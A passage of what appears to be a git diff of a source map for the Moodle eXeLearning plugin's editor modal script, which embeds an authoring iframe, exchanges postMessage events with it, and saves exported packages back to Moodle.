catch {\n // Use defaults.\n }\n\n modal.innerHTML = `\n
\n
\n

${savingText}

\n

${waitText}

\n
\n `;\n\n document.body.appendChild(modal);\n return modal;\n};\n\n/**\n * Show the saving loading modal, creating it if necessary.\n *\n * @returns {Promise}\n */\nconst showLoadingModal = async() => {\n if (!loadingModal) {\n loadingModal = await createLoadingModal();\n }\n loadingModal.classList.add('is-visible');\n};\n\n/**\n * Hide the saving loading modal if it exists.\n *\n * @returns {void}\n */\nconst hideLoadingModal = () => {\n if (loadingModal) {\n loadingModal.classList.remove('is-visible');\n }\n};\n\n/**\n * Remove the saving loading modal from the DOM.\n *\n * @returns {void}\n */\nconst removeLoadingModal = () => {\n if (loadingModal) {\n loadingModal.remove();\n loadingModal = null;\n }\n};\n\n/**\n * Ask the user to confirm closing when there are unsaved changes.\n *\n * @returns {Promise} True if the close should be cancelled.\n */\nconst checkUnsavedChanges = async() => {\n if (!hasUnsavedChanges) {\n return false;\n }\n let message = 'You have unsaved changes. Are you sure you want to close?';\n try {\n message = await getString('unsavedchanges', 'mod_exelearning');\n } catch {\n // Use default.\n }\n return !window.confirm(message);\n};\n\n/**\n * Post a message to the embedded editor iframe.\n *\n * @param {object} message The message payload to send.\n * @param {Transferable[]} [transfer] Optional transferable objects.\n * @returns {void}\n */\nconst postToEditor = (message, transfer) => {\n if (!iframe?.contentWindow) {\n return;\n }\n if (transfer && transfer.length) {\n iframe.contentWindow.postMessage(message, editorOrigin, transfer);\n } else {\n iframe.contentWindow.postMessage(message, editorOrigin);\n }\n};\n\n/**\n * Clear the pending OPEN_FILE response timeout.\n *\n * @returns {void}\n */\nconst clearOpenResponseTimer = () => {\n if (openResponseTimer) {\n clearTimeout(openResponseTimer);\n openResponseTimer = null;\n }\n};\n\n/**\n * Schedule a retry of the initial package open, with backoff.\n *\n * @returns {void}\n */\nconst scheduleOpenRetry = () => {\n if (openAttemptCount >= MAX_OPEN_ATTEMPTS) {\n return;\n }\n\n setTimeout(() => {\n openInitialPackage();\n }, 300 * openAttemptCount);\n};\n\n/**\n * Arm a timeout that retries the open request if no response arrives.\n *\n * @returns {void}\n */\nconst armOpenResponseTimer = () => {\n clearOpenResponseTimer();\n openResponseTimer = setTimeout(() => {\n if (!openRequestSent) {\n return;\n }\n\n Log.error('[editor_modal] OPEN_FILE timeout waiting for response');\n openRequestSent = false;\n scheduleOpenRetry();\n }, OPEN_RESPONSE_TIMEOUT_MS);\n};\n\n/**\n * Toggle the saving state, updating the button and loading modal.\n *\n * @param {boolean} saving Whether a save is in progress.\n * @returns {Promise}\n */\nconst setSavingState = async(saving) => {\n isSaving = saving;\n if (!saveBtn) {\n return;\n }\n saveBtn.disabled = saving;\n if (saving) {\n await setSaveLabel('saving', 'Saving...');\n await showLoadingModal();\n } else {\n await setSaveLabel('savetomoodle', 'Save to Moodle');\n hideLoadingModal();\n }\n};\n\n/**\n * Fetch the current package and send it to the editor to open.\n *\n * @returns {Promise}\n */\nconst openInitialPackage = async() => {\n if (session?.skipOpenFileOnInit) {\n return;\n }\n if (openRequestSent || !session?.packageUrl) {\n return;\n }\n\n openRequestSent = true;\n openAttemptCount += 1;\n\n try {\n const response = await fetch(session.packageUrl, {credentials: 'include'});\n if (!response.ok) {\n throw new Error(`HTTP ${response.status}: ${response.statusText}`);\n }\n\n const bytes = await response.arrayBuffer();\n openRequestId = nextRequestId('open');\n\n postToEditor({\n type: 'OPEN_FILE',\n requestId: openRequestId,\n data: {\n bytes,\n filename: 'package.elpx',\n },\n });\n\n armOpenResponseTimer();\n } catch (error) {\n Log.error('[editor_modal] Failed to open package:', error);\n openRequestSent = false;\n scheduleOpenRetry();\n }\n};\n\n/**\n * Upload an exported package to Moodle and refresh the activity view.\n *\n * @param {object} payload The export payload from the editor.\n * @returns {Promise}\n */\nconst uploadExportedFile = async(payload) => {\n const bytes = payload?.bytes;\n if (!bytes) {\n throw new Error('Missing export bytes');\n }\n\n const filename = payload.filename || 'package.elpx';\n const mimeType = payload.mimeType || 'application/zip';\n\n const blob = new Blob([bytes], {type: mimeType});\n const formData = new FormData();\n formData.append('package', blob, filename);\n formData.append('format', FIXED_EXPORT_FORMAT);\n formData.append('cmid', String(session.cmid));\n formData.append('sesskey', session.sesskey);\n\n const response = await fetch(session.saveUrl, {\n method: 'POST',\n body: formData,\n credentials: 'include',\n });\n\n const result = await response.json();\n if (!response.ok || !result?.success) {\n throw new Error(result?.error || `Save failed (${response.status})`);\n }\n\n const updatedPackageUrl = updatePackageUrlRevision(session.packageUrl, result.revision);\n persistUpdatedPackageUrl(updatedPackageUrl);\n refreshActivityIframe(result.revision);\n\n hasUnsavedChanges = false;\n await setSaveLabel('savedsuccess', 'Saved successfully');\n close(true);\n\n // Reload the activity page so the server-rendered blocks (detected gradable\n // iDevices banner, participation summary, gradebook-driven UI) reflect the\n // re-synced gradebook after save.php re-scanned the package. Refreshing only\n // the content iframe would leave those stale (e.g. a removed trueorfalse\n // would still show in \"Gradable iDevices detected\").\n window.location.reload();\n};\n\n/**\n * Request the editor to export the current document for saving.\n *\n * @returns {Promise}\n */\nconst requestExport = async() => {\n if (isSaving || !iframe?.contentWindow) {\n return;\n }\n\n await setSavingState(true);\n exportRequestId = nextRequestId('export');\n\n postToEditor({\n type: 'REQUEST_EXPORT',\n requestId: exportRequestId,\n data: {\n format: FIXED_EXPORT_FORMAT,\n filename: 'package.elpx',\n },\n });\n};\n\n/**\n * Check that a postMessage event really comes from the embedded editor frame.\n *\n * The legacy eXeWeb bridge is kept for older static editor builds, but it must\n * enforce the same source/origin boundary as the modern bridge (RIE-010).\n *\n * @param {MessageEvent} event The incoming message event.\n * @returns {boolean} Whether the event belongs to the active editor iframe.\n */\nconst isEditorBridgeMessage = (event) => {\n if (!iframe?.contentWindow || event.source !== iframe.contentWindow || !event.data) {\n return false;\n }\n if (editorOrigin !== '*' && event.origin !== editorOrigin) {\n return false;\n }\n return true;\n};\n\n/**\n * Handle protocol messages received from the embedded editor bridge.\n *\n * @param {MessageEvent} event The incoming message event.\n * @returns {Promise}\n */\nconst handleBridgeMessage = async(event) => {\n if (!isEditorBridgeMessage(event)) {\n return;\n }\n\n const data = event.data;\n\n switch (data.type) {\n case 'EXELEARNING_READY':\n postToEditor({\n type: 'CONFIGURE',\n requestId: nextRequestId('configure'),\n data: {\n hideUI: {\n fileMenu: true,\n saveButton: true,\n userMenu: true,\n },\n },\n });\n openInitialPackage();\n break;\n\n case 'DOCUMENT_LOADED':\n if (saveBtn && !isSaving) {\n saveBtn.disabled = false;\n }\n break;\n\n case 'DOCUMENT_CHANGED':\n hasUnsavedChanges = true;\n break;\n\n case 'OPEN_FILE_SUCCESS':\n if (data.requestId === openRequestId && saveBtn && !isSaving) {\n saveBtn.disabled = false;\n openRequestSent = false;\n openAttemptCount = 0;\n clearOpenResponseTimer();\n }\n break;\n\n case 'OPEN_FILE_ERROR':\n if (data.requestId === openRequestId) {\n Log.error('[editor_modal] OPEN_FILE_ERROR:', data.error);\n openRequestSent = false;\n clearOpenResponseTimer();\n scheduleOpenRetry();\n }\n break;\n\n case 'EXPORT_FILE':\n if (data.requestId === exportRequestId) {\n try {\n await uploadExportedFile(data);\n } catch (error) {\n Log.error('[editor_modal] Upload failed:', error);\n await setSavingState(false);\n }\n }\n break;\n\n case 'REQUEST_EXPORT_ERROR':\n if (data.requestId === exportRequestId) {\n Log.error('[editor_modal] REQUEST_EXPORT_ERROR:', data.error);\n await setSavingState(false);\n }\n break;\n\n default:\n break;\n }\n};\n\n/**\n * Handle legacy bridge messages from older editor builds.\n *\n * @param {MessageEvent} event The incoming message event.\n * @returns {Promise}\n */\nconst handleLegacyBridgeMessage = async(event) => {\n if (!isEditorBridgeMessage(event)) {\n return;\n }\n\n const data = event.data;\n if (!data || data.source !== 'exeweb-editor') {\n return;\n }\n\n if (data.type === 'editor-ready' && data.data?.packageUrl) {\n const incomingUrl = data.data.packageUrl;\n if (incomingUrl !== session?.packageUrl) {\n session.packageUrl = incomingUrl;\n openRequestSent = false;\n openAttemptCount = 0;\n }\n openInitialPackage();\n }\n\n if (data.type === 'request-save') {\n await requestExport();\n }\n};\n\n/**\n * Dispatch an incoming window message to both bridge handlers.\n *\n * @param {MessageEvent} event The incoming message event.\n * @returns {Promise}\n */\nconst handleMessage = async(event) => {\n await handleBridgeMessage(event);\n await handleLegacyBridgeMessage(event);\n};\n\n/**\n * Close the editor overlay when the Escape key is pressed.\n *\n * @param {KeyboardEvent} event The keydown event.\n * @returns {void}\n */\nconst handleKeydown = (event) => {\n if (event.key === 'Escape') {\n close(false);\n }\n};\n\n/**\n * Close the editor overlay and tear down its state and listeners.\n *\n * @param {boolean} skipConfirm Skip the unsaved-changes confirmation when true.\n * @returns {Promise}\n */\nexport const close = async(skipConfirm) => {\n if (!overlay) {\n return;\n }\n if (!skipConfirm) {\n const shouldCancel = await checkUnsavedChanges();\n if (shouldCancel) {\n return;\n }\n }\n\n const wasShowingLoader = isSaving || (skipConfirm === true);\n\n overlay.remove();\n overlay = null;\n iframe = null;\n saveBtn = null;\n session = null;\n openRequestSent = false;\n openRequestId = null;\n exportRequestId = null;\n isSaving = false;\n hasUnsavedChanges = false;\n openAttemptCount = 0;\n clearOpenResponseTimer();\n\n document.body.style.overflow = '';\n window.removeEventListener('message', handleMessage);\n document.removeEventListener('keydown', handleKeydown);\n\n if (wasShowingLoader) {\n setTimeout(() => {\n hideLoadingModal();\n removeLoadingModal();\n }, 1500);\n } else {\n hideLoadingModal();\n removeLoadingModal();\n }\n};\n\n/**\n * Open the embedded editor overlay for the given activity.\n *\n * @param {number|string} cmid The course module id.\n * @param {string} editorUrl The URL of the embedded editor.\n * @param {string} activityName The activity name shown in the header.\n * @param {string} packageUrl The URL of the current package file.\n * @param {string} saveUrl The endpoint used to save exported packages.\n * @param {string} sesskey The Moodle session key.\n * @returns {Promise}\n */\nexport const open = async(cmid, editorUrl, activityName, packageUrl, saveUrl, sesskey) => {\n Log.debug('[editor_modal] Opening editor for cmid:', cmid);\n\n if (overlay) {\n return;\n }\n\n editorOrigin = getOrigin(editorUrl);\n openAttemptCount = 0;\n session = {\n cmid,\n editorUrl,\n packageUrl: packageUrl || '',\n skipOpenFileOnInit: !!packageUrl,\n saveUrl,\n sesskey,\n };\n\n overlay = document.createElement('div');\n overlay.id = 'exeweb-editor-overlay';\n overlay.className = 'exeweb-editor-overlay';\n\n const header = document.createElement('div');\n header.className = 'exeweb-editor-header';\n\n const title = document.createElement('span');\n title.className = 'exeweb-editor-title';\n title.textContent = activityName || '';\n header.appendChild(title);\n\n const buttonGroup = document.createElement('div');\n buttonGroup.className = 'exeweb-editor-buttons';\n\n saveBtn = document.createElement('button');\n saveBtn.className = 'btn btn-primary mr-2';\n saveBtn.id = 'exeweb-editor-save';\n saveBtn.disabled = true;\n await setSaveLabel('savetomoodle', 'Save to Moodle');\n saveBtn.addEventListener('click', requestExport);\n\n const closeBtn = document.createElement('button');\n closeBtn.className = 'btn btn-secondary';\n closeBtn.id = 'exeweb-editor-close';\n try {\n closeBtn.textContent = await getString('closebuttontitle', 'core');\n } catch {\n closeBtn.textContent = 'Close';\n }\n closeBtn.addEventListener('click', () => close(false));\n\n buttonGroup.appendChild(saveBtn);\n buttonGroup.appendChild(closeBtn);\n header.appendChild(buttonGroup);\n overlay.appendChild(header);\n\n iframe = document.createElement('iframe');\n iframe.className = 'exeweb-editor-iframe';\n iframe.src = editorUrl;\n iframe.setAttribute('allow', 'fullscreen');\n iframe.setAttribute('frameborder', '0');\n iframe.addEventListener('load', () => {\n if (!openRequestSent && session?.packageUrl) {\n openInitialPackage();\n }\n });\n overlay.appendChild(iframe);\n\n document.body.appendChild(overlay);\n document.body.style.overflow = 'hidden';\n\n window.addEventListener('message', handleMessage);\n document.addEventListener('keydown', handleKeydown);\n};\n\n/**\n * Initialise the delegated click handler that opens the editor.\n *\n * @returns {void}\n */\nexport const init = () => {\n document.addEventListener('click', (event) => {\n const button = event.target.closest('[data-action=\"mod_exelearning/editor-open\"]');\n if (!button) {\n return;\n }\n\n event.preventDefault();\n open(\n button.dataset.cmid,\n button.dataset.editorurl,\n button.dataset.activityname,\n button.dataset.packageurl,\n button.dataset.saveurl,\n button.dataset.sesskey\n );\n });\n};\n"],"names":["overlay","iframe","saveBtn","loadingModal","editorOrigin","openRequestSent","openRequestId","exportRequestId","isSaving","hasUnsavedChanges","session","requestCounter","openAttemptCount","openResponseTimer","nextRequestId","prefix","Date","now","refreshActivityIframe","revision","activityIframe","document","getElementById","src","refreshedSrc","url","normalizedRevision","String","replace","updated","separator","includes","updateContentUrlRevision","setSaveLabel","async","key","fallback","text","innerHTML","showLoadingModal","modal","createElement","className","id","savingText","waitText","body","appendChild","createLoadingModal","classList","add","hideLoadingModal","remove","removeLoadingModal","postToEditor","message","transfer","_iframe","contentWindow","length","postMessage","clearOpenResponseTimer","clearTimeout","scheduleOpenRetry","setTimeout","openInitialPackage","setSavingState","saving","disabled","_session","skipOpenFileOnInit","_session2","packageUrl","response","fetch","credentials","ok","Error","status","statusText","bytes","arrayBuffer","type","requestId","data","filename","error","uploadExportedFile","payload","mimeType","blob","Blob","formData","FormData","append","cmid","sesskey","saveUrl","method","result","json","success","newUrl","selector","openButton","querySelector","dataset","packageurl","persistUpdatedPackageUrl","updatePackageUrlRevision","close","window","location","reload","requestExport","_iframe2","format","isEditorBridgeMessage","event","_iframe3","source","origin","handleMessage","hideUI","fileMenu","saveButton","userMenu","handleBridgeMessage","_data$data","incomingUrl","_session3","handleLegacyBridgeMessage","handleKeydown","skipConfirm","confirm","checkUnsavedChanges","wasShowingLoader","style","overflow","removeEventListener","open","editorUrl","activityName","debug","URL","href","getOrigin","header","title","textContent","buttonGroup","addEventListener","closeBtn","setAttribute","_session4","button","target","closest","preventDefault","editorurl","activityname","saveurl"],"mappings":"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"} \ No newline at end of file +{"version":3,"file":"editor_modal.min.js","sources":["../src/editor_modal.js"],"sourcesContent":["// This file is part of Moodle - http://moodle.org/\n\nimport {get_string as getString} from 'core/str';\nimport Log from 'core/log';\n\nlet overlay = null;\nlet iframe = null;\nlet saveBtn = null;\nlet loadingModal = null;\nlet editorOrigin = '*';\nlet openRequestSent = false;\nlet openRequestId = null;\nlet exportRequestId = null;\nlet isSaving = false;\nlet hasUnsavedChanges = false;\nlet session = null;\nlet requestCounter = 0;\nlet openAttemptCount = 0;\nlet openResponseTimer = null;\n\nconst MAX_OPEN_ATTEMPTS = 3;\nconst OPEN_RESPONSE_TIMEOUT_MS = 3000;\nconst FIXED_EXPORT_FORMAT = 'elpx';\n\n/**\n * Resolve the origin of a URL, falling back to a wildcard on failure.\n *\n * @param {string} url The URL to inspect.\n * @returns {string} The resolved origin, or '*' if it cannot be parsed.\n */\nconst getOrigin = (url) => {\n try {\n return new URL(url, window.location.href).origin;\n } catch {\n return '*';\n }\n};\n\n/**\n * Generate a unique request identifier for bridge messages.\n *\n * @param {string} prefix A prefix describing the request type.\n * @returns {string} A unique request identifier.\n */\nconst nextRequestId = (prefix) => {\n requestCounter += 1;\n return `${prefix}-${Date.now()}-${requestCounter}`;\n};\n\n/**\n * Rewrite the revision segment of a package URL and add a cache buster.\n *\n * @param {string} url The original package URL.\n * @param {number|string} revision The new revision number.\n * @returns {string} The updated URL, or the original if it cannot be rewritten.\n */\nconst updatePackageUrlRevision = (url, revision) => {\n if (!url || !revision) {\n return url;\n }\n const normalizedRevision = String(revision).replace(/[^0-9]/g, '');\n if (!normalizedRevision) {\n return url;\n }\n const updated = url.replace(/(\\/mod_exelearning\\/package\\/)(\\d+)(\\/)/, `$1${normalizedRevision}$3`);\n if (updated === url) {\n return url;\n }\n const separator = updated.includes('?') ? '&' : '?';\n return `${updated}${separator}v=${normalizedRevision}-${Date.now()}`;\n};\n\n/**\n * Persist an updated package URL on the session and the open button dataset.\n *\n * @param {string} newUrl The new package URL to store.\n * @returns {void}\n */\nconst persistUpdatedPackageUrl = (newUrl) => {\n if (!newUrl || !session) {\n return;\n }\n session.packageUrl = newUrl;\n const selector = `[data-action=\"mod_exelearning/editor-open\"][data-cmid=\"${String(session.cmid)}\"]`;\n const openButton = document.querySelector(selector);\n if (openButton?.dataset) {\n openButton.dataset.packageurl = newUrl;\n }\n};\n\n/**\n * Rewrite the revision segment of a content URL and add a cache buster.\n *\n * @param {string} url The original content URL.\n * @param {number|string} revision The new revision number.\n * @returns {string} The updated URL, or the original if it cannot be rewritten.\n */\nconst updateContentUrlRevision = (url, revision) => {\n if (!url || !revision) {\n return url;\n }\n const normalizedRevision = String(revision).replace(/[^0-9]/g, '');\n if (!normalizedRevision) {\n return url;\n }\n const updated = url.replace(/(\\/mod_exelearning\\/content\\/)(\\d+)(\\/)/, `$1${normalizedRevision}$3`);\n if (updated === url) {\n return url;\n }\n const separator = updated.includes('?') ? '&' : '?';\n return `${updated}${separator}v=${normalizedRevision}-${Date.now()}`;\n};\n\n/**\n * Refresh the activity content iframe so it points at the new revision.\n *\n * @param {number|string} revision The new revision number.\n * @returns {void}\n */\nconst refreshActivityIframe = (revision) => {\n const activityIframe = document.getElementById('exelearningobject');\n if (!activityIframe || !activityIframe.src) {\n return;\n }\n const refreshedSrc = updateContentUrlRevision(activityIframe.src, revision);\n if (refreshedSrc && refreshedSrc !== activityIframe.src) {\n activityIframe.src = refreshedSrc;\n }\n};\n\n/**\n * Set the save button label from a language string, with a fallback.\n *\n * @param {string} key The language string key.\n * @param {string} fallback The fallback text if the string cannot be loaded.\n * @returns {Promise}\n */\nconst setSaveLabel = async(key, fallback) => {\n if (!saveBtn) {\n return;\n }\n try {\n const text = await getString(key, key === 'closebuttontitle' ? 'core' : 'mod_exelearning');\n saveBtn.innerHTML = ' ' + text;\n } catch {\n saveBtn.innerHTML = ' ' + fallback;\n }\n};\n\n/**\n * Build and append the saving loading modal element.\n *\n * @returns {Promise} The created modal element.\n */\nconst createLoadingModal = async() => {\n const modal = document.createElement('div');\n modal.className = 'exeweb-loading-modal';\n modal.id = 'exeweb-loading-modal';\n\n let savingText = 'Saving...';\n let waitText = 'Please wait while the file is being 